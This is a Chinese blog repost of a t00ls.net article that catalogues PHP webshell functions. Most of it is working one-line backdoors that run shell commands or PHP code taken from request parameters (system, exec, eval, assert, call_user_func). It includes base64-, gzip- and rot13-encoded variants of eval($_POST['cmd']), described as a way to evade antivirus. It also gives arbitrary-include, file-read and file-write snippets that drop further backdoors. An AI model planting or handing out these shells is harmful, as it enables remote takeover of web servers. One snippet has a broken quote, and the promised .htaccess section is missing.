PHP执行函数

作者:alibaba  首发:t00ls.net , 转载请注明t00ls

PHP后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?
本文为您浅析说明一些php后门木马常用的函数。

PHP后门木马常用的函数大致上可分为四种类型:
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:
system 函数
//test.php?cmd=ls
system($_GET[cmd]);

passthru 函数
//test.php?cmd=ls
passthru($_GET[cmd]);

shell_exec 函数
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);

exec 函数
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);

popen 函数
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

proc_open 函数
//test.php?cmd=ls
$descriptorspec = array(
       0 => array('pipe', 'r'),
       1 => array('pipe', 'w'),
       2 => array('pipe', 'w'),
    );
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"n"));
print_r($output);


2. 代码执行与加密:
eval 函数
//最常见的一句话木马
eval($_POST[cmd]);

base64_decode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函数
//类似eval函数
assert($_POST[cmd]);

call_user_func 函数
//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);

call_user_func 函数
//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码
//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);


3. 文件包含与生成:
require 函数
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);

require_once 函数
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);

include 函数
//包含任意文件
//test.php?file=123.jpg
include($_GET[file]);

include_once 函数
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);

file_get_contents 函数
//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);

file_put_contents 函数
//生成任意内容文件
//a=test.php&b=<?php eval($_POST[cmd]);?>
file_put_contents($_GET[a],$_GET[b]);

fputs 函数
//生成任意内容文件
//a=test.php&b=<?php eval($_POST[cmd]);?>
fputs(fopen($_GET[a],"w"),$_GET[b]);
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值